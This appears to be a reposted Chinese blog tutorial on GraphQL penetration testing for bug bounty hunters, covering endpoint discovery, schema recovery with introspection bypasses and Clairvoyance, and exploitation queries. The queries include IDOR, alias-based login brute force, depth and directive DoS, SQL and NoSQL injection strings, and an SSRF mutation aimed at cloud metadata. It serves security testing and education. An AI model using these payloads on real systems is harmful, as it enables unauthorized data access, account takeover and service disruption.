文章总结: 本文针对漏洞赏金猎人详细介绍了GraphQL渗透测试的全流程。核心内容包括端点发现技巧、利用Introspection及字段建议提取Schema的方法,特别是绕过内省禁用的手段。文档重点分析了IDOR、DoS、注入与SSRF等高价值漏洞类型及其利用方式,并提供了Clairvoyance等工具的使用建议,最后强调了高质量报告的撰写要点,旨在帮助测试者发现并利用高影响漏洞获取赏金。 综合评分: 87 文章分类: 渗透测试,SRC活动,WEB安全,漏洞分析
GraphQL 渗透测试(面向漏洞赏金猎人):从端点发现到高影响漏洞利用
haidragon haidragon
安全狗的自我修养
2026年2月24日 11:10 湖南
官网:http://securitytech.cc
为什么 GraphQL 是漏洞猎人的“金矿”
GraphQL 从根本上改变了攻防规则。
传统 REST API 暴露固定端点和预定义数据结构,服务器严格控制返回的数据内容。而 GraphQL 使用单一端点,把查询结构的构造权交给客户端,允许客户端精确指定想要的数据形态。
这种灵活性是开发者的福音,却是攻击者的金矿。
因为客户端可以决定查询复杂度和字段内容,开发者往往忽略细粒度的字段级授权控制。他们常常只在顶层端点做认证,而忽略深层嵌套字段、内部管理型 mutation、以及后端 resolver 的授权检查,从而导致:
- IDOR(越权访问)
- 敏感数据泄露
- 严重的 DoS 攻击
像猎人一样绘制 GraphQL 攻击面
你无法攻击你找不到的东西。GraphQL 端点往往不会显式暴露,因此发现过程必须系统化。
一、现实世界中发现 GraphQL 端点的方法
首先进行目录模糊测试(directory fuzzing),使用专门针对 GraphQL 的字典。
常见生产路径包括:
/graphql/api/graphql/v1/graphql/query
同时注意可能暴露的开发 IDE:
/graphiql/playground
示例路径组合:
staging.domain.com/graphql
development.domain.com/graphql
dev.domain.com/graphql
test.domain.com/graphql
stg.domain.com/graphql
tst.domain.com/graphql
...
staging.domain.com/playground
development.domain.com/playground
二、从 URL、JS 文件、错误响应中寻找特征
如果 fuzz 没有直接结果:
- 使用 Burp Suite 或浏览器开发者工具查看网络请求
- 查找:
-
query
-
mutation
-
operationName
-
POST 请求
-
Content-Type: application/json
-
请求体中包含:
分析前端 JS bundle,搜索:
- Apollo
- Relay
- query
- mutation
往往可以找到隐藏的 GraphQL 路径。
三、用最小探测确认端点
发送“通用查询”:
{"query":"{__typename}"}
如果返回:
{"data":{"__typename":"query"}}
说明端点确认成功。
或者发送错误语法:
queryy { __typename }
GraphQL 会返回特定语法错误提示。
Schema 提取:后端蓝图
Schema 是 GraphQL 渗透的核心。
它定义了:
- 所有数据类型
- 字段
- Query / Mutation
- 参数结构
一、利用 Introspection 提取 Schema
如果未禁用 introspection,可直接导出:
query{
__schema {
queryType { name }
mutationType { name }
types {
name
fields {
name
args {
name
type{ name kind }
}
}
}
}
}
这将暴露整个攻击面。
二、当 Introspection 被禁用时
如果返回:
- 400 Bad Request
- Introspection is Disabled
尝试绕过:
- 在
__schema后添加空格或换行 - 改为 GET 请求
- 使用
__type逐个探测
例如:
query{
__type(name:"Query"){
name
fields { name }
}
}
三、利用字段建议(Field Suggestions)重建 Schema
GraphQL 会提示拼写建议:
如果发送:
ussr
可能返回:
Did you mean"user"?
可利用工具 Clairvoyance 自动暴力枚举字段,通过错误提示逐步重建 Schema。
使用 Clairvoyance 自动恢复 Schema
步骤 A:准备高质量字典
git clone https://github.com/nicholasaleks/high-frequency-vocabulary
步骤 B:运行工具
python3 -m clairvoyance http://localhost:5013/graphql \
-w ~/high-frequency-vocabulary/30k.txt \
-o schema-recovered.json
步骤 C:生成自定义字典
用 cewl 抓取前端页面词汇:
cewl http://localhost:5013/ > custom_words.txt
合并字典:
cat custom_words.txt 30k.txt | sort -u > mega_wordlist.txt
导入 GraphQL Voyager 可视化分析。
高价值漏洞类型(真正能拿赏金的)
1. BOLA / IDOR
测试方法:
- 登录用户 A
- 抓取自己的查询
- 修改 ID 为用户 B
示例:
query{
getProfile(id:101){
email
phone
private_address
}
}
若成功返回他人数据,则为严重漏洞。
2. 嵌套字段过度暴露
query{
user(id:1){
name
passwordHash
role
internal_notes
}
}
3. Resolver 授权绕过
mutation{
deleteStorySnaps(id:"target_id"){
success
}
}
4. Alias 滥用与批量攻击
mutation{
attempt1: login(user:"admin", pass:"123456"){ token }
attempt2: login(user:"admin", pass:"password"){ token }
}
绕过 HTTP 层限速。
5. 嵌套深度 DoS
query{
author {
posts {
author {
posts {
title
}
}
}
}
}
触发递归解析耗尽资源。
6. 字段重复消耗
query{
pastes {
title
content
content
content
}
}
7. Directive 过载
query{
pastes {
title @aa@aa@aa
}
}
用于测试资源耗尽。
8. Object Limit 覆盖
query{
pastes(limit:100000, public:true){
content
}
}
9. 数组批量查询
curl http://localhost:5013/graphql \
-H"Content-Type: application/json" \
-d '[{"query":"query {systemHealth}"},{"query":"query {systemHealth}"}]'
10. Resolver 注入(SQLi / NoSQLi)
SQL 注入示例:
query{
pastes(filter:"test' OR '1'='1'--"){
content
}
}
NoSQL 示例:
query{
user(password:{"$ne":null}){
token
}
}
11. SSRF
mutation{
importPaste(host:"169.254.169.254", port:80, path:"/latest/meta-data/"){
result
}
}
高级利用技巧
- Alias 过载绕过 WAF
- Fragment 循环调用造成解析崩溃
- 从 JS 文件中提取隐藏 admin mutation
- 字段模糊测试发现未公开字段
实战流程建议
- 发现端点
- 提取 Schema
- 多角色授权测试
- 深度参数 fuzz
- 构造高影响 PoC
实战常用工具
- Burp + InQL
- GraphQLmap
- Clairvoyance
- Altair
- Graphw00f
- curl
如何写高质量报告
不要提交:
- Introspection 开启
- 字段建议存在
必须提交:
-
具体漏洞
-
可利用查询
-
影响说明(越权 / 数据泄露 / 接管)
-
公众号:安全狗的自我修养
-
vx:2207344074
-
http://gitee.com/haidragon
-
http://github.com/haidragon
-
bilibili:haidragonx
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon haidragon《GraphQL 渗透测试(面向漏洞赏金猎人):从端点发现到高影响漏洞利用》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论